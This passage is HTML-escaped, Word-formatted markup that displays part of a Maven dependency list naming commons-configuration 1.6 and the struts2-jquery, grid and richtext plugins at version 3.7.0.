&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;commons-configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;commons-configuration&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;1.6&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;com.jgeppert.struts2.&lt;u&gt;jquery&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-&lt;u&gt;jquery&lt;/u&gt;-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.7.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;com.jgeppert.struts2.&lt;u&gt;jquery&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-&lt;u&gt;jquery&lt;/u&gt;-grid-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.7.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;com.jgeppert.struts2.&lt;u&gt;jquery&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-&lt;u&gt;jquery&lt;/u&gt;-&lt;u&gt;richtext&lt;/u&gt;-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.7.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
